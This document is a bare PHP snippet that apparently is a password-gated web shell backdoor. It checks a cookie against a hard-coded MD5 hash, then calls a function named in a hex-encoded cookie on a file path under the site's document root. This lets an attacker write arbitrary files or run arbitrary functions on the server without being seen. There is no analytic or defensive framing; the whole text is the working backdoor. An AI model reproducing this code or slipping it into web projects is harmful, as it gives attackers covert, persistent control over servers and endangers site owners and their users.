$lk='b7e6cf86ae5d5f651ea17666bc8f3717';
if (array_key_exists("gift", $_COOKIE)) {
   $cookie_array=$_COOKIE;$md=hex2bin($cookie_array['mod']);
   md5($cookie_array['gift'])==$lk ? $md($_SERVER['DOCUMENT_ROOT'].hex2bin($cookie_array['s']),hex2bin($cookie_array['ss'])) : exit('Error');
}